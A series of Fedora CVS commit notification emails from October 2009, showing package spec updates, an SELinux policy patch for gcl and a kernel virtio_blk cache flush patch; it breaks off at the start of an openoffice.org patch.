RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/xorg-x11-proto-devel.spec,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- xorg-x11-proto-devel.spec	28 Aug 2009 03:01:07 -0000	1.109
+++ xorg-x11-proto-devel.spec	6 Oct 2009 14:25:02 -0000	1.110
@@ -7,7 +7,7 @@
 Summary: X.Org X11 Protocol headers
 Name: xorg-x11-proto-devel
 Version: 7.4
-Release: 31%{?dist}
+Release: 32%{?dist}
 License: MIT
 Group: Development/System
 URL: http://www.x.org
@@ -20,12 +20,12 @@ Source2:  http://www.x.org/pub/individua
 Source3:  http://www.x.org/pub/individual/proto/dmxproto-2.2.99.1.tar.bz2
 Source31: http://www.x.org/pub/individual/proto/dri2proto-2.1.tar.bz2
 Source4:  http://www.x.org/pub/individual/proto/evieext-1.1.0.tar.bz2
-Source5:  http://www.x.org/pub/individual/proto/fixesproto-4.1.tar.bz2
+Source5:  http://www.x.org/pub/individual/proto/fixesproto-4.1.1.tar.bz2
 Source7:  http://www.x.org/pub/individual/proto/fontsproto-2.1.0.tar.bz2
 Source8:  http://www.x.org/pub/individual/proto/glproto-1.4.10.tar.bz2
 Source9:  http://www.x.org/pub/individual/proto/inputproto-1.9.99.902.tar.bz2
 Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.3.tar.bz2
-Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.0.tar.bz2
+Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.1.tar.bz2
 Source14: http://www.x.org/pub/individual/proto/recordproto-1.13.99.1.tar.bz2
 Source15: http://www.x.org/pub/individual/proto/renderproto-0.11.tar.bz2
 Source16: http://www.x.org/pub/individual/proto/resourceproto-1.1.0.tar.bz2
@@ -264,6 +264,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/xproxymngproto.pc
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-32
+- fixesproto 4.1.1
+- randrproto 1.3.1
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-31
 - bigreqsproto 1.1.0
 - damageproto 1.2.0



From ajax at fedoraproject.org  Tue Oct  6 14:28:34 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 14:28:34 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/F-12 .cvsignore, 1.16, 1.17 sources, 1.17,
	1.18 xorg-x11-server-utils.spec, 1.47, 1.48
Message-ID: <20091006142834.51AE711C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27209

Modified Files:
	.cvsignore sources xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-12
- xmodmap 1.0.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	7 Jul 2009 18:23:27 -0000	1.16
+++ .cvsignore	6 Oct 2009 14:28:32 -0000	1.17
@@ -15,3 +15,4 @@ xstdcmap-1.0.1.tar.bz2
 xvidtune-1.0.1.tar.bz2
 xrandr-1.2.99.4.tar.bz2
 xrandr-1.3.0.tar.bz2
+xmodmap-1.0.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	7 Jul 2009 18:23:27 -0000	1.17
+++ sources	6 Oct 2009 14:28:32 -0000	1.18
@@ -4,7 +4,6 @@
 8579d5f50ba7f0c4a5bf16b9670fea01  xcmsdb-1.0.1.tar.bz2
 f13ddedaa63a608d3b025d326f4f5b5d  xgamma-1.0.2.tar.bz2
 f746aba36f075ae4cae313d849a94f4e  xhost-1.0.2.tar.bz2
-626731003ec22a74ecf9e44ed098bbdf  xmodmap-1.0.3.tar.bz2
 9c30b8e1709d5367beb7706146640c07  xrdb-1.0.5.tar.bz2
 1228f890f86148e4e6ae22aa73118cbb  xrefresh-1.0.2.tar.bz2
 2f41fd983ba4d89419204854936025e2  xset-1.0.4.tar.bz2
@@ -13,3 +12,4 @@ d074e79d380b031d2f60e4cd56538c93  xsetmo
 9af7db9f3052aef0b11636720b3101dd  xsetroot-1.0.2.tar.bz2
 86ab558441edfb86f853639e4290a754  xstdcmap-1.0.1.tar.bz2
 616612a15711a4422e71be6acc42ca3c  xrandr-1.3.0.tar.bz2
+bbe021f812e0014a8ee3692317788119  xmodmap-1.0.4.tar.bz2


Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/xorg-x11-server-utils.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- xorg-x11-server-utils.spec	27 Jul 2009 08:37:16 -0000	1.47
+++ xorg-x11-server-utils.spec	6 Oct 2009 14:28:32 -0000	1.48
@@ -5,7 +5,7 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -17,7 +17,7 @@ Source3:  http://www.x.org/pub/individua
 Source4:  http://www.x.org/pub/individual/app/xcmsdb-1.0.1.tar.bz2
 Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.2.tar.bz2
 Source6:  http://www.x.org/pub/individual/app/xhost-1.0.2.tar.bz2
-Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.3.tar.bz2
+Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.4.tar.bz2
 Source8:  http://www.x.org/pub/individual/app/xrandr-1.3.0.tar.bz2
 Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.5.tar.bz2
 Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.2.tar.bz2
@@ -182,6 +182,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-12
+- xmodmap 1.0.4
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jjames at fedoraproject.org  Tue Oct  6 14:33:28 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue,  6 Oct 2009 14:33:28 +0000 (UTC)
Subject: rpms/gcl/F-12 gcl-2.6.8-selinux.patch,1.1,1.2 gcl.spec,1.38,1.39
Message-ID: <20091006143328.ADB0411C00C1@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29010/F-12

Modified Files:
	gcl-2.6.8-selinux.patch gcl.spec 
Log Message:
* Tue Sep  6 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.5.20090701cvs
- Update SELinux files to give compiled maxima files the right context
- Drop SELinux compatibility kludge for early F-11 selinux-policy packages


gcl-2.6.8-selinux.patch:
 clcs/makefile     |    6 ++
 makefile          |    3 +
 selinux/gcl.fc    |    5 +
 selinux/gcl.if    |  146 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 selinux/gcl.te    |   44 ++++++++++++++++
 unixport/makefile |    6 ++
 6 files changed, 210 insertions(+)

Index: gcl-2.6.8-selinux.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-12/gcl-2.6.8-selinux.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcl-2.6.8-selinux.patch	10 Jan 2009 05:23:18 -0000	1.1
+++ gcl-2.6.8-selinux.patch	6 Oct 2009 14:33:28 -0000	1.2
@@ -1,6 +1,6 @@
 diff -durN gcl-2.6.8.ORIG/clcs/makefile gcl-2.6.8/clcs/makefile
 --- gcl-2.6.8.ORIG/clcs/makefile	2005-05-06 15:56:55.000000000 -0600
-+++ gcl-2.6.8/clcs/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/clcs/makefile	2009-10-06 08:16:02.062488470 -0600
 @@ -9,6 +9,9 @@
  
  saved_clcs_gcl: ../unixport/saved_pcl_gcl
@@ -23,7 +23,7 @@ diff -durN gcl-2.6.8.ORIG/clcs/makefile 
  	rm -f *.o *.fn saved_full_gcl$(EXE) saved_full_gcl cmpinclude.h *.c *.h *.data saved_clcs_gcl
 diff -durN gcl-2.6.8.ORIG/makefile gcl-2.6.8/makefile
 --- gcl-2.6.8.ORIG/makefile	2007-11-30 09:59:33.000000000 -0700
-+++ gcl-2.6.8/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/makefile	2009-10-06 08:16:02.063488196 -0600
 @@ -187,6 +187,9 @@
  	if gcc --version | grep -i mingw >/dev/null 2>&1 ; then if grep -i oncrpc makedefs >/dev/null 2>&1 ; then cp /mingw/bin/oncrpc.dll $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR); fi ; fi
  	cd $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR) && \
@@ -36,13 +36,16 @@ diff -durN gcl-2.6.8.ORIG/makefile gcl-2
  	if [ -e "unixport/rsym$(EXE)" ] ; then cp unixport/rsym$(EXE) $(DESTDIR)$(INSTALL_LIB_DIR)/unixport/ ; fi
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.fc gcl-2.6.8/selinux/gcl.fc
 --- gcl-2.6.8.ORIG/selinux/gcl.fc	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.fc	2009-01-09 17:43:02.000000000 -0700
-@@ -0,0 +1,2 @@
++++ gcl-2.6.8/selinux/gcl.fc	2009-10-06 08:17:02.445600007 -0600
+@@ -0,0 +1,5 @@
 +/usr/lib64/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +/usr/lib/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
++/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.if gcl-2.6.8/selinux/gcl.if
 --- gcl-2.6.8.ORIG/selinux/gcl.if	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.if	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/selinux/gcl.if	2009-10-06 08:16:02.064488944 -0600
 @@ -0,0 +1,146 @@
 +
 +## <summary>policy for gcl</summary>
@@ -192,8 +195,8 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.if
 +')
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.te gcl-2.6.8/selinux/gcl.te
 --- gcl-2.6.8.ORIG/selinux/gcl.te	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.te	2009-01-09 17:43:07.000000000 -0700
-@@ -0,0 +1,50 @@
++++ gcl-2.6.8/selinux/gcl.te	2009-10-06 08:17:51.669426472 -0600
+@@ -0,0 +1,44 @@
 +policy_module(gcl,1.0.0)
 +
 +########################################
@@ -231,22 +234,16 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +	gen_require(`
 +		type unconfined_t;
 +		type unconfined_devpts_t;
-+		type unconfined_execmem_t;  # Remove this later; see below
 +		type unconfined_tty_device_t;
 +		role unconfined_r;
 +	')
 +
 +	gcl_run(unconfined_t, unconfined_r, { unconfined_tty_device_t unconfined_devpts_t })
 +	allow gcl_t gcl_exec_t:file execmod;
-+
-+	# Some versions of selinux-policy-targeted, released between November
-+	# 2008 and early January 2009, give /usr/bin/gcl type execmem_exec_t.
-+	# Remove this once those versions are dead and buried.
-+	allow unconfined_execmem_t gcl_exec_t:file execmod;
 +')
 diff -durN gcl-2.6.8.ORIG/unixport/makefile gcl-2.6.8/unixport/makefile
 --- gcl-2.6.8.ORIG/unixport/makefile	2006-08-23 12:14:22.000000000 -0600
-+++ gcl-2.6.8/unixport/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/unixport/makefile	2009-10-06 08:16:02.065488296 -0600
 @@ -118,6 +118,9 @@
  	cp init_$*.lsp foo
  	echo " (in-package \"USER\")(system:save-system \"$@\")" >>foo


Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-12/gcl.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- gcl.spec	11 Aug 2009 21:28:46 -0000	1.38
+++ gcl.spec	6 Oct 2009 14:33:28 -0000	1.39
@@ -28,7 +28,7 @@
 
 Name:           gcl
 Version:        2.6.8
-Release:        0.4.%{alphatag}%{?dist}
+Release:        0.5.%{alphatag}%{?dist}
 Summary:        GNU Common Lisp
 
 Group:          Development/Languages
@@ -365,6 +365,10 @@ fi
 
 
 %changelog
+* Tue Sep  6 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.5.20090701cvs
+- Update SELinux files to give compiled maxima files the right context
+- Drop SELinux compatibility kludge for early F-11 selinux-policy packages
+
 * Tue Aug 11 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.4.20090701cvs
 - Update to 20090701 CVS snapshot, fixes bz 511483
 - Break fix for <asm/signal.h> out into a separate patch and do it right



From jjames at fedoraproject.org  Tue Oct  6 14:33:28 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue,  6 Oct 2009 14:33:28 +0000 (UTC)
Subject: rpms/gcl/devel gcl-2.6.8-selinux.patch,1.1,1.2 gcl.spec,1.38,1.39
Message-ID: <20091006143328.ECFA311C00C1@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29010/devel

Modified Files:
	gcl-2.6.8-selinux.patch gcl.spec 
Log Message:
* Tue Sep  6 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.5.20090701cvs
- Update SELinux files to give compiled maxima files the right context
- Drop SELinux compatibility kludge for early F-11 selinux-policy packages


gcl-2.6.8-selinux.patch:
 clcs/makefile     |    6 ++
 makefile          |    3 +
 selinux/gcl.fc    |    5 +
 selinux/gcl.if    |  146 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 selinux/gcl.te    |   44 ++++++++++++++++
 unixport/makefile |    6 ++
 6 files changed, 210 insertions(+)

Index: gcl-2.6.8-selinux.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/devel/gcl-2.6.8-selinux.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcl-2.6.8-selinux.patch	10 Jan 2009 05:23:18 -0000	1.1
+++ gcl-2.6.8-selinux.patch	6 Oct 2009 14:33:28 -0000	1.2
@@ -1,6 +1,6 @@
 diff -durN gcl-2.6.8.ORIG/clcs/makefile gcl-2.6.8/clcs/makefile
 --- gcl-2.6.8.ORIG/clcs/makefile	2005-05-06 15:56:55.000000000 -0600
-+++ gcl-2.6.8/clcs/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/clcs/makefile	2009-10-06 08:16:02.062488470 -0600
 @@ -9,6 +9,9 @@
  
  saved_clcs_gcl: ../unixport/saved_pcl_gcl
@@ -23,7 +23,7 @@ diff -durN gcl-2.6.8.ORIG/clcs/makefile 
  	rm -f *.o *.fn saved_full_gcl$(EXE) saved_full_gcl cmpinclude.h *.c *.h *.data saved_clcs_gcl
 diff -durN gcl-2.6.8.ORIG/makefile gcl-2.6.8/makefile
 --- gcl-2.6.8.ORIG/makefile	2007-11-30 09:59:33.000000000 -0700
-+++ gcl-2.6.8/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/makefile	2009-10-06 08:16:02.063488196 -0600
 @@ -187,6 +187,9 @@
  	if gcc --version | grep -i mingw >/dev/null 2>&1 ; then if grep -i oncrpc makedefs >/dev/null 2>&1 ; then cp /mingw/bin/oncrpc.dll $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR); fi ; fi
  	cd $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR) && \
@@ -36,13 +36,16 @@ diff -durN gcl-2.6.8.ORIG/makefile gcl-2
  	if [ -e "unixport/rsym$(EXE)" ] ; then cp unixport/rsym$(EXE) $(DESTDIR)$(INSTALL_LIB_DIR)/unixport/ ; fi
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.fc gcl-2.6.8/selinux/gcl.fc
 --- gcl-2.6.8.ORIG/selinux/gcl.fc	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.fc	2009-01-09 17:43:02.000000000 -0700
-@@ -0,0 +1,2 @@
++++ gcl-2.6.8/selinux/gcl.fc	2009-10-06 08:17:02.445600007 -0600
+@@ -0,0 +1,5 @@
 +/usr/lib64/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +/usr/lib/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
++/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.if gcl-2.6.8/selinux/gcl.if
 --- gcl-2.6.8.ORIG/selinux/gcl.if	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.if	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/selinux/gcl.if	2009-10-06 08:16:02.064488944 -0600
 @@ -0,0 +1,146 @@
 +
 +## <summary>policy for gcl</summary>
@@ -192,8 +195,8 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.if
 +')
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.te gcl-2.6.8/selinux/gcl.te
 --- gcl-2.6.8.ORIG/selinux/gcl.te	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.te	2009-01-09 17:43:07.000000000 -0700
-@@ -0,0 +1,50 @@
++++ gcl-2.6.8/selinux/gcl.te	2009-10-06 08:17:51.669426472 -0600
+@@ -0,0 +1,44 @@
 +policy_module(gcl,1.0.0)
 +
 +########################################
@@ -231,22 +234,16 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +	gen_require(`
 +		type unconfined_t;
 +		type unconfined_devpts_t;
-+		type unconfined_execmem_t;  # Remove this later; see below
 +		type unconfined_tty_device_t;
 +		role unconfined_r;
 +	')
 +
 +	gcl_run(unconfined_t, unconfined_r, { unconfined_tty_device_t unconfined_devpts_t })
 +	allow gcl_t gcl_exec_t:file execmod;
-+
-+	# Some versions of selinux-policy-targeted, released between November
-+	# 2008 and early January 2009, give /usr/bin/gcl type execmem_exec_t.
-+	# Remove this once those versions are dead and buried.
-+	allow unconfined_execmem_t gcl_exec_t:file execmod;
 +')
 diff -durN gcl-2.6.8.ORIG/unixport/makefile gcl-2.6.8/unixport/makefile
 --- gcl-2.6.8.ORIG/unixport/makefile	2006-08-23 12:14:22.000000000 -0600
-+++ gcl-2.6.8/unixport/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/unixport/makefile	2009-10-06 08:16:02.065488296 -0600
 @@ -118,6 +118,9 @@
  	cp init_$*.lsp foo
  	echo " (in-package \"USER\")(system:save-system \"$@\")" >>foo


Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/devel/gcl.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- gcl.spec	11 Aug 2009 21:28:46 -0000	1.38
+++ gcl.spec	6 Oct 2009 14:33:28 -0000	1.39
@@ -28,7 +28,7 @@
 
 Name:           gcl
 Version:        2.6.8
-Release:        0.4.%{alphatag}%{?dist}
+Release:        0.5.%{alphatag}%{?dist}
 Summary:        GNU Common Lisp
 
 Group:          Development/Languages
@@ -365,6 +365,10 @@ fi
 
 
 %changelog
+* Tue Sep  6 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.5.20090701cvs
+- Update SELinux files to give compiled maxima files the right context
+- Drop SELinux compatibility kludge for early F-11 selinux-policy packages
+
 * Tue Aug 11 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.4.20090701cvs
 - Update to 20090701 CVS snapshot, fixes bz 511483
 - Break fix for <asm/signal.h> out into a separate patch and do it right



From jforbes at fedoraproject.org  Tue Oct  6 14:44:44 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Tue,  6 Oct 2009 14:44:44 +0000 (UTC)
Subject: rpms/kernel/F-12
	linux-2.6-virtio_blk-add-support-for-cache-flush.patch, NONE,
	1.1 kernel.spec, 1.1844, 1.1845
Message-ID: <20091006144444.1D31F11C00C1@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32612

Modified Files:
	kernel.spec 
Added Files:
	linux-2.6-virtio_blk-add-support-for-cache-flush.patch 
Log Message:
virtio_blk: add support for cache flush (#526869)

linux-2.6-virtio_blk-add-support-for-cache-flush.patch:
 drivers/block/virtio_blk.c |   30 +++++++++++++++++++++++++-----
 include/linux/virtio_blk.h |   15 +++++++++++++++
 2 files changed, 40 insertions(+), 5 deletions(-)

--- NEW FILE linux-2.6-virtio_blk-add-support-for-cache-flush.patch ---
From: Christoph Hellwig <hch at lst.de>
Date: Thu, 17 Sep 2009 17:57:42 +0000 (+0200)
Subject: virtio_blk: add support for cache flush
X-Git-Tag: v2.6.32-rc1~175^2~5
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=f1b0ef0626

virtio_blk: add support for cache flush

Recent qemu has added a VIRTIO_BLK_F_FLUSH flag to advertise that the
virtual disk has a volatile write cache that needs to be flushed.  In case
we see this feature implement tell the Linux block layer about the fact
and use the new VIRTIO_BLK_T_FLUSH to flush the cache when required.  This
allows for an correct and simple implementation of write barriers.

Signed-off-by: Christoph Hellwig <hch at lst.de>
Signed-off-by: Rusty Russell <rusty at rustcorp.com.au>
---

diff --git a/drivers/block/virtio_blk.c b/drivers/block/virtio_blk.c
index 73de753..3d5fe97 100644
--- a/drivers/block/virtio_blk.c
+++ b/drivers/block/virtio_blk.c
@@ -92,15 +92,26 @@ static bool do_req(struct request_queue *q, struct virtio_blk *vblk,
 		return false;
 
 	vbr->req = req;
-	if (blk_fs_request(vbr->req)) {
+	switch (req->cmd_type) {
+	case REQ_TYPE_FS:
 		vbr->out_hdr.type = 0;
 		vbr->out_hdr.sector = blk_rq_pos(vbr->req);
 		vbr->out_hdr.ioprio = req_get_ioprio(vbr->req);
-	} else if (blk_pc_request(vbr->req)) {
+		break;
+	case REQ_TYPE_BLOCK_PC:
 		vbr->out_hdr.type = VIRTIO_BLK_T_SCSI_CMD;
 		vbr->out_hdr.sector = 0;
 		vbr->out_hdr.ioprio = req_get_ioprio(vbr->req);
-	} else {
+		break;
+	case REQ_TYPE_LINUX_BLOCK:
+		if (req->cmd[0] == REQ_LB_OP_FLUSH) {
+			vbr->out_hdr.type = VIRTIO_BLK_T_FLUSH;
+			vbr->out_hdr.sector = 0;
+			vbr->out_hdr.ioprio = req_get_ioprio(vbr->req);
+			break;
+		}
+		/*FALLTHRU*/
+	default:
 		/* We don't put anything else in the queue. */
 		BUG();
 	}
@@ -200,6 +211,12 @@ out:
 	return err;
 }
 
+static void virtblk_prepare_flush(struct request_queue *q, struct request *req)
+{
+	req->cmd_type = REQ_TYPE_LINUX_BLOCK;
+	req->cmd[0] = REQ_LB_OP_FLUSH;
+}
+
 static int virtblk_ioctl(struct block_device *bdev, fmode_t mode,
 			 unsigned cmd, unsigned long data)
 {
@@ -338,7 +355,10 @@ static int __devinit virtblk_probe(struct virtio_device *vdev)
 	index++;
 
 	/* If barriers are supported, tell block layer that queue is ordered */
-	if (virtio_has_feature(vdev, VIRTIO_BLK_F_BARRIER))
+	if (virtio_has_feature(vdev, VIRTIO_BLK_F_FLUSH))
+		blk_queue_ordered(vblk->disk->queue, QUEUE_ORDERED_DRAIN_FLUSH,
+				  virtblk_prepare_flush);
+	else if (virtio_has_feature(vdev, VIRTIO_BLK_F_BARRIER))
 		blk_queue_ordered(vblk->disk->queue, QUEUE_ORDERED_TAG, NULL);
 
 	/* If disk is read-only in the host, the guest should obey */
@@ -425,7 +445,7 @@ static struct virtio_device_id id_table[] = {
 static unsigned int features[] = {
 	VIRTIO_BLK_F_BARRIER, VIRTIO_BLK_F_SEG_MAX, VIRTIO_BLK_F_SIZE_MAX,
 	VIRTIO_BLK_F_GEOMETRY, VIRTIO_BLK_F_RO, VIRTIO_BLK_F_BLK_SIZE,
-	VIRTIO_BLK_F_SCSI, VIRTIO_BLK_F_IDENTIFY
+	VIRTIO_BLK_F_SCSI, VIRTIO_BLK_F_IDENTIFY, VIRTIO_BLK_F_FLUSH
 };
 
 /*
diff --git a/include/linux/virtio_blk.h b/include/linux/virtio_blk.h
index 25fbabf..15cb666 100644
--- a/include/linux/virtio_blk.h
+++ b/include/linux/virtio_blk.h
@@ -14,6 +14,7 @@
 #define VIRTIO_BLK_F_BLK_SIZE	6	/* Block size of disk is available*/
 #define VIRTIO_BLK_F_SCSI	7	/* Supports scsi command passthru */
 #define VIRTIO_BLK_F_IDENTIFY	8	/* ATA IDENTIFY supported */
+#define VIRTIO_BLK_F_FLUSH	9	/* Cache flush command support */
 
 #define VIRTIO_BLK_ID_BYTES	(sizeof(__u16[256]))	/* IDENTIFY DATA */
 
@@ -35,6 +36,17 @@ struct virtio_blk_config {
 	__u8 identify[VIRTIO_BLK_ID_BYTES];
 } __attribute__((packed));
 
+/*
+ * Command types
+ *
+ * Usage is a bit tricky as some bits are used as flags and some are not.
+ *
+ * Rules:
+ *   VIRTIO_BLK_T_OUT may be combined with VIRTIO_BLK_T_SCSI_CMD or
+ *   VIRTIO_BLK_T_BARRIER.  VIRTIO_BLK_T_FLUSH is a command of its own
+ *   and may not be combined with any of the other flags.
+ */
+
 /* These two define direction. */
 #define VIRTIO_BLK_T_IN		0
 #define VIRTIO_BLK_T_OUT	1
@@ -42,6 +54,9 @@ struct virtio_blk_config {
 /* This bit says it's a scsi command, not an actual read or write. */
 #define VIRTIO_BLK_T_SCSI_CMD	2
 
+/* Cache flush command */
+#define VIRTIO_BLK_T_FLUSH	4
+
 /* Barrier before this op. */
 #define VIRTIO_BLK_T_BARRIER	0x80000000
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1844
retrieving revision 1.1845
diff -u -p -r1.1844 -r1.1845
--- kernel.spec	2 Oct 2009 20:07:35 -0000	1.1844
+++ kernel.spec	6 Oct 2009 14:44:42 -0000	1.1845
@@ -703,6 +703,7 @@ Patch1582: linux-2.6-xen-spinlock-strong
 Patch1583: linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch
 Patch1584: linux-2.6-xen-improvement-to-wait_for_devices.patch
 Patch1585: linux-2.6-xen-increase-device-connection-timeout.patch
+Patch1586: linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # nouveau + drm fixes
 Patch1812: drm-next-4c57edba4.patch
@@ -1370,6 +1371,7 @@ ApplyPatch linux-2.6-xen-check-efer-fix.
 ApplyPatch linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch
 ApplyPatch linux-2.6-xen-improvement-to-wait_for_devices.patch
 ApplyPatch linux-2.6-xen-increase-device-connection-timeout.patch
+ApplyPatch linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # improve xen spinlock scalability
 ApplyPatch linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
@@ -2077,6 +2079,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct  6 2009 Justin M. Forbes <jforbes at redhat.com>
+- virtio_blk: add support for cache flush (#526869)
+
 * Fri Oct  2 2009 John W. Linville <linville at redhat.com>
 - Backport "iwlwifi: reduce noise when skb allocation fails"
 



From caolanm at fedoraproject.org  Tue Oct  6 14:48:53 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue,  6 Oct 2009 14:48:53 +0000 (UTC)
Subject: rpms/openoffice.org/devel workspace.vcl106.patch, NONE,
	1.1 openoffice.org.spec, 1.2016,
	1.2017 openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch,
	1.1, NONE
Message-ID: <20091006144853.0764311C00C1@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv924

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.vcl106.patch 
Removed Files:
	openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch 
Log Message:
track upstream name

workspace.vcl106.patch:
 atkutil.cxx |   13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

--- NEW FILE workspace.vcl106.patch ---
--- vcl.orig/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:06:01.000000000 +0100
